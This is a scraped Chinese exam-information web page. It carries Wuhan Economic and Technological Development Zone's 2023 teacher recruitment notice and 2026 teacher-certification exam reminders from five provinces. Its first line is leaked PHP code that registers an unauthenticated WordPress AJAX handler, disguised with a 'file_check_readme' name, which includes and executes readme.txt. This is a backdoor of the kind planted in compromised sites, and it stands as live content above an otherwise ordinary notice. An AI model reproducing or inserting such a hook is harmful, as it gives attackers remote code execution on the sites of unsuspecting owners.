if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖北省武汉市经济技术开发区2023年面向社会公开招聘教师公告-全国教师资格考试网

湖北省武汉市经济技术开发区2023年面向社会公开招聘教师公告

  根据教育事业发展和教师队伍建设需要,武汉经济技术开发区决定面向社会公开招聘中小学合同聘用制教师196名,幼儿园聘用包干制教职工96名,现公告如下:

  一、招聘对象

  符合应聘岗位条件要求的各类人员。

  二、招聘岗位学科及人员类别

  (一)中小学合同聘用制教师、财务人员196名。按照学科分布如下:语文80名,数学49名,英语13名,物理3名,化学4名,科学8名,历史7名,地理2名,生物1名,政治/道法7名,音乐2名,体育7名,美术3名,信息技术4名,财务5名,名校长1名。

  (二)幼儿园聘用包干制教职工96名(区教育局所属幼儿园90名,沌阳街所属幼儿园5名,军山街所属幼儿园1名),其中,专任教师62名,保健医8名,财务人员5名,保育员21名。

  (三)中小学招聘人员按照岗位工作经历要求,分为四类:应往届毕业生90名(含2名财务人员),在职教师、财务人员66名,骨干教师(名师名校长)19名,在职优秀教师21名。

  幼儿园聘用包干制教职工96名全部为应往届毕业生。

  应聘人员应同时具备以下基本条件、资格条件和《武汉经济技术开发区2023年面向社会公开招聘教师岗位一览表》(附件1)中所报岗位的相关条件。

  三、应聘人员的基本条件

  (一)应聘人员应当具备以下基本条件: 

  1. 具有中华人民共和国国籍;

  2. 拥护中华人民共和国宪法,遵守法律,享有公民政治权利;

  3. 具有良好的职业道德,品行端正,愿意履行人民教师义务,遵守学校纪律;

  4. 身心健康,能胜任所报考岗位工作;

  5. 应聘语文学科及幼儿园教师岗位,普通话水平须达到二级甲等及以上水平,其他岗位普通话水平须达到二级乙等及以上水平(保育员岗位除外);

  6. 以海(境)外学历学位报考的应提供教育部留学服务中心学历学位认证材料。

  (二)有下列情况之一的,不受理应聘:

  1. 曾因犯罪受过刑事处罚或者曾被开除公职的人员;

  2. 正在接受纪律审查、司法调查或者审计的人员;

  3. 正在处分期间(影响期)的人员;

  4. 现役军人、非应届的全日制在读学生;

  5. 被依法列为失信联合惩戒对象的人员;

  6. 原工作(聘用)单位不同意报考的人员;

  7. 在公务员录用考试和事业单位公开招聘考试中有严重违纪违规行为、被记入公务员考试录用诚信档案库或事业单位公开招聘应聘人员诚信档案库,尚在记录期限内的人员;

  8. 武汉经开区教育局统一招聘的中小学幼儿园在岗教师;

  9. 法律、法规、规章及政策规定可不受理应聘的人员。

  四、应聘人员的资格条件

  (一)应往届毕业生

  1. 学历学位

  (1)中小学:义务段教师、职校教师岗位须本科及以上学历并取得相应学位;高中教师岗位须研究生学历并取得相应学位。(2)幼儿园:幼儿园教师岗位学前(幼儿)教育专业须全日制大专及以上学历,其它专业须本科及以上学历并取得相应学位;保健医须全日制大专及以上学历;财务人员须本科及以上学历并取得相应学位;保育员须高中(中职)及以上学历。

  2. 年龄:大专、本科学历30周岁及以下(1992年1月1日以后出生),硕士研究生学历及保育员岗位35周岁及以下(1987年1月1日以后出生),博士研究生学历40周岁及以下(1982年1月1日以后出生)。

  3. 执业资格

  (1)教师岗位:须具有教师资格证或教师资格考试合格证明(《师范生教师职业能力证书》)。其中取得教师资格考试合格证明(《师范生教师职业能力证书》)的应在一年时间内取得相应教师资格证书,逾期依法解除聘用合同;(2)保健医岗位:须具有执业医师、助理执业医师或护士执业证书;(3)财务人员岗位:须具有助理会计师及以上职称;(4)保育员岗位:须具有保育员证。

  (二)在职教师

  1. 学历学位:本科及以上学历并取得相应学位。

  2. 年龄:35周岁及以下(1987年1月1日以后出生)。

  3. 教师资格:须具有相应学段学科教师资格证。

  4. 工作经历:现任普通中小学教师,同时具有2年及以上中小学教学工作经历(毕业前实习任教经历不计算在内)。

  (三)在职优秀教师

  1. 学历学位:本科及以上学历并取得相应学位(信息技术教师岗位无学位要求)。

  2. 年龄:42周岁及以下(1980年1月1日以后出生)。

  3. 教师资格:须具有相应学段学科教师资格证。

  4. 资历及业绩:须具有6年及以上相应学段学科教学工作经历,且取得以下业绩之一:

  (1)区(县)级及以上教育行政(业务)部门授予的学科带头人、优秀青年教师、教学能手及其他教学类相当荣誉者;

  (2)区(县)级及以上教育行政(业务)部门授予的优秀党员、优秀教育工作者、优秀团干部及其他综合类相当荣誉者;

  (3)区(县)级及以上教育行政(业务)部门授予的优秀班主任、功勋班主任及其他相当荣誉者;

  (4)区(县)级及以上教育行政(业务)部门组织的优质课竞赛、教师五项技能竞赛、其他现场赛课一等奖,省、市级优质课二等奖以上及其他相当荣誉者;

  (5)区(县)级及以上教育行政(业务)部门授予的中、高考先进教师、先进工作者及其它相当荣誉者。

  (四)骨干教师(名师)

  1. 学历:本科及以上学历。

  2. 年龄:45周岁及以下(1977年1月1日以后出生),其中,Ⅰ、Ⅱ类骨干教师年龄可放宽至50周岁以内(1972年1月1日以后出生)。

  3. 教师资格:须具有相应学段教师资格证。

  4. 任职资格:须具有一级教师及以上专技职称。

  5. 资历及业绩:须具有8年及以上相应学段学科教学工作经历,且符合下列Ⅰ-IV四类中任意一项条件:

  Ⅰ类骨干教师:享受国务院颁发的政府特殊津贴的专家;国家“万人计划”教学名师。

  Ⅱ类骨干教师:(1)获得省特级教师荣誉称号或正高级专业技术资格者;(2)享受省级或副省级城市政府颁发的政府特殊津贴专家;(3)由省级政府或省级教育行政部门授予或评定的中小学名教师(学科带头人、首席教师等)或相当荣誉称号;(4)近五年辅导学生获得全国奥林匹克竞赛一等奖的金牌主教练员。

  Ⅲ类骨干教师:(1)教育部授予的全国模范教师、全国优秀教师、全国优秀中小学班主任;(2)副省级政府或副省级教育行政部门授予或评定的中小学名教师(学科带头人、首席教师) 或相当荣誉称号;(3)目前仍在岗,且近五年辅导学生获得全国职业技能大赛一等奖的主教练员。

  IV类骨干教师:(1) 地级市(含省直管市)政府或地级市(含省直管市)教育行政部门授予或评定的中小学名教师 ( 学科带头人、首席教师)或相当荣誉称号;(2)目前仍在岗,且近五年获得省级及以上技术能手称号或省级及以上人力资源、教育部门组织的职业技能竞赛前3名的技术技能型、复合技能型高技能人才。(3)近5年由地级市(含省直管市)及以上政府或教育行政主管部门组织的优质课竞赛、教师五项技能竞赛一等奖及相当荣誉获得者。

  (五)财务人员

  1. 学历学位:本科及以上学历并取得相应学位。

  2. 年龄:在职财务人员35周岁及以下(1987年1月1日以后出生),应往届毕业生30周岁及以下(1992年1月1日以后出生)。

  3. 执业资格:须具有助理会计师及以上职称。

  4. 工作经历:在职财务人员须3年及以上财务工作经历(毕业前实习财务工作经历不计算在内),应往届毕业生无要求。

  (六)名校长

  1. 学历:本科及以上学历。

  2. 年龄:45周岁及以下(1977年1月1日以后出生),其中,Ⅰ、Ⅱ类名校长年龄可放宽至50周岁以内(1972年1月1日以后出生)。

  3. 教师资格:须具有相应学段教师资格证。

  4. 任职资格:须具有一级教师及以上专技职称。

  5. 资历及业绩:须具有6年及以上校长管理工作经历,且符合下列Ⅰ-IV四类中任意一项条件:

  Ⅰ类名校长:教育部授予或评定的中小学名校长,或全国知名学校名校长。

  Ⅱ类名校长:省级政府或省级教育行政部门授予或评定的中小学名校长,或省级知名学校名校长,或相当荣誉称号。

  Ⅲ类名校长:副省级政府或副省级教育行政部门授予或评定的中小学名校长,或省会城市知名学校名校长,或相当荣誉称号。

  IV类名校长:地级市(省直管市)政府或地级市(省直管市)教育行政部门授予或评定的中小学名校长,或地级市(省直管市)知名学校名校长。

  2023年骨干教师(名师)、名校长聘用人员,享受武汉经开区2022年印发的《关于加快推进新时代人才强区战略的实施意见(试行)》《武汉经开区教育人才提升工程实施细则(试行)》人才优惠政策;如果上述人才政策有修订,享受新修订的人才优惠政策。

  五、招聘程序

  本次招聘实行网上报名,具体程序如下:

  (一)发布招聘公告

  2023年7月25日,通过武汉掌上人才网(www.whzsrc.com )、武汉经济技术开发区政府门户网(www.whkfq.gov.cn)发布招聘公告。

  (二)网上报名

  1. 提交应聘申请

  应聘人员于2023年7月26日9:00至7月30日17:00登录武汉掌上人才网站,提交应聘申请(含上传照片,此后所用照片要求一致,未上传照片或上传照片不符合要求将不能通过审核)。应聘人员只能选择一个单位的一个岗位进行报名,提交信息必须真实、准确、完整、有效,凡弄虚作假者取消应聘资格。报名期间,每日10:00在武汉掌上人才网发布岗位应聘量统计信息,为应聘人员提供报名参考。请应聘人员尽早提交报名信息,避免出现临近报名结束前因报名人员众多造成网络拥堵,导致审核不通过人员无法改报的情况。

  2. 查询审查结果

  应聘人员于2023年7月27日12:00至7月29日17:00登录武汉掌上人才网站查询审查结果。通过审查后,不能再改报其他岗位。应聘申请未通过的,7月30日17:00以前,可改报其他职位。

  3. 报名确认及缴费

通过审查的应聘人员,应在2023年7月27日9:00至7月31日12:00,登录武汉掌上人才网进行网上报名确认及缴费。未按时参加报名确认及按规定缴费的,视为自动放弃。报名审查通过且缴费成功的考生请务必打印《武汉经济技术开发区2023年教师招聘考试报名表》并妥善保存,便于后期面试资格审核。具有博士研究生学历学位的人员经招聘单位主管部门确认后,可办理免笔试手续并免除考务费。

  (三)网上打印准考证

  准考证打印时间另行通知。届时通过审核并缴费的应聘人员登录武汉掌上人才网下载并打印笔试准考证(A4纸张黑白打印即可)。

  (四)笔试

  笔试时间初步定于2023年8月上旬,以准考证上通知为准。

  中小学合同聘用制教师中,应聘对象为应往届毕业生、在职教师的主要测试《职业能力倾向测试(D)类》及《教育综合知识》,应聘对象为在职优秀教师、骨干教师的主要测试《教育综合知识》。幼儿园教师主要测试《职业能力倾向测试(D)类》及《教育综合知识》;幼儿园保健医主要测试《幼儿保健综合知识》、保育员主要测试《幼儿保育综合知识》。财务人员主要测试《教育类财务综合知识》。笔试试题的命制和阅卷委托专业考试机构进行。

  名校长应聘人员不参加笔试,直接参加面试。

  (五)面试人选确定与资格复审   

  1. 根据岗位招聘人数与参考人数1:3的比例,按照笔试成绩从高到低的顺序确定参加面试的人选名单。岗位招聘人数与参考人数未达1:3比例的岗位,须达到笔试合格线才能参加面试。

  2. 笔试结束后,适时组织资格复审和发布面试公告。参加资格复审的应聘人员须按照《武汉经济技术开发区2023年公开招聘教师资格复审材料目录》(见附件2),提供相关材料的原件及复印件进行资格复审。

  (六)面试

  面试采取结构化面试、无学生微型试讲、说课、专业特长展示、答辩等方式进行,面试时间初步定于8月中旬,具体情况详见面试公告。

  (七)体检、考察和公示

  1.骨干教师岗位和在职优秀教师岗位按笔试成绩和面试成绩3:7比例计算考生综合成绩,其他岗位均按笔试成绩和面试成绩4:6比例计算考生综合成绩,名校长和免笔试人员的面试成绩计为综合成绩。根据各岗位综合成绩从高到低以1:1比例确定进入体检和考察的人选。岗位招聘人数与参加面试人员比例未达1:3的岗位,实行面试合格分数线控制(合格分数线在面试公告中公布),达到面试合格分数线的方能进入体检、考察环节。若出现考生综合成绩并列的,则面试成绩高者进入体检和考察环节。

  2.体检工作参照《公务员录用体检通用标准(试行)》标准执行。考察工作主要考察拟聘用人员思想表现、道德品质、业务能力、诚信记录、工作实绩等情况,并对考察对象的资格条件进行复查。考察中,若发现有影响聘用并查证属实情形的,取消聘用资格。

  因体检、考察不合格或考生放弃出现空缺时,按综合成绩由高到低依次递补。

  3.体检和考察合格者确定为拟聘用人员,在武汉经济技术开发区政府门户网上公示7天。公示无异议者,与用人单位签约。

  (八)岗位认定登记及聘用人员管理

  1.中小学聘用人员按照《武汉开发区(汉南区)教育系统合同聘用制教师管理办法》规定管理,由用人单位与聘用人员签订聘用制教师合同(骨干教师、名校长最低服务期10年,其他人员最低服务期5年),执行全区统一的岗位绩效工资制度,比照同类公办教师确定工资待遇,并办理企业职工保险和公积金。

  聘用人员按照武汉经济技术开发区岗位设置相关规定办理岗位认定手续。在试用期间,所有人员暂时认定登记在专技中的“未定级”。试用期满后,取得初级职务任职资格聘用人员,原则上聘用到专技十二级岗位;对于已取得中、高级职务任职资格人员,且在原单位已聘在中、高级层级岗位的聘用人员,在符合武汉市事业单位人事管理相关规定(用人单位有空岗)且本人业绩满足经开区岗位任职条件的前提下,试用期满可考核聘任至原单位同级岗位;聘用人员不符合武汉市现行异地职称认定或岗位聘任相关政策的,根据经开区岗位任职条件降级聘用。

  2.幼儿园聘用包干制人员按照政府购买服务方式管理,由用人单位与聘用人员签订劳动合同(最低服务期5年)。专任教师、财务人员和保健医岗位聘用人员薪酬标准按每人年平均12.23万元包干拨付用人单位考核发放;保育员岗位聘用人员薪酬标准按每人年平均9.28万元包干拨付用人单位考核发放。

  3.骨干教师(名师)、名校长享受经开区人才优惠政策。中小学骨干教师(名师)、名校长聘用人员依据《武汉经开区教育人才提升工程实施细则(试行)》管理规定,Ⅰ、Ⅱ、Ⅲ类骨干教师分别享受人才补助费180万元、100万元、80万元,IV类骨干教师符合(1)(2)项的享受人才补助费30万元,符合(3)项的按 5-20万元发放人才补助费。Ⅰ-IV类名校长分别享受人才补助费180万元、100万元、80万元、60万元。

  对考核不合格或聘期未满与用人单位解除聘用合同的,根据履行合同年限按比例退还人才补助费。

  六、其它事项

  (一)应聘环节的有关通知将通过网站发布公告或以短信、电话等形式告知,请考生保持通讯畅通并及时关注武汉掌上人才网、武汉经济技术开发区政府门户网。

  (二)考生须诚信报考。对报考人员的资格审查将贯穿于本次招聘工作的全过程。在招聘工作的任何阶段发现报考人员不符合报考条件、未能按要求出具相关资料(原件)或有弄虚作假行为的,一律取消其报考或聘用资格。

  (三)报考有工作经历要求岗位的人员,资格审核时必须提供真实可靠的至少两种工作经历证明材料,如劳动(聘用)合同、社保缴费清单等。工作经历时间计算截止时间为2023年7月31日,实习期不纳入工作经历年限计算范围。

  (四)有下列情形之一,取消其聘用资格:

  1. 本人自愿放弃聘用资格或未在规定时间内报到;

  2. 未在2023年8月31日前取得相应学历(学位)证书;

  3. 持教师资格考试合格证明(《师范生教师职业能力证书》)未在2024年8月31日前(试用期内)取得教师资格证书;

  4. 提供虚假信息或证明材料,或者以其他不正当手段获取应聘资格。

  (五)本次招聘考试未组织、授权或委托任何机构、个人编辑、出版考试教材;也未组织订阅或指定任何与招聘考试有关的参辅读物及复习资料;未与任何培训机构合作,无备考交流群,请考生提高警惕,切勿上当受骗。

  (六)本次招聘考试相关电话。报名政策咨询电话:027-84897867、84850495;报名系统咨询电话:027-83331558、83565099;监督电话:027-84850632。

  (七)本次招聘事宜,由武汉经济技术开发区教育局负责解释。

  附件1:武汉经济技术开发区2023年面向社会公开招聘教师岗位一览表.xls

  附件2:武汉经济技术开发区2023年面向社会公开招聘教师资格复审材料目录.doc

 

                         武汉经济技术开发区教育局 

2023年7月25日  

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部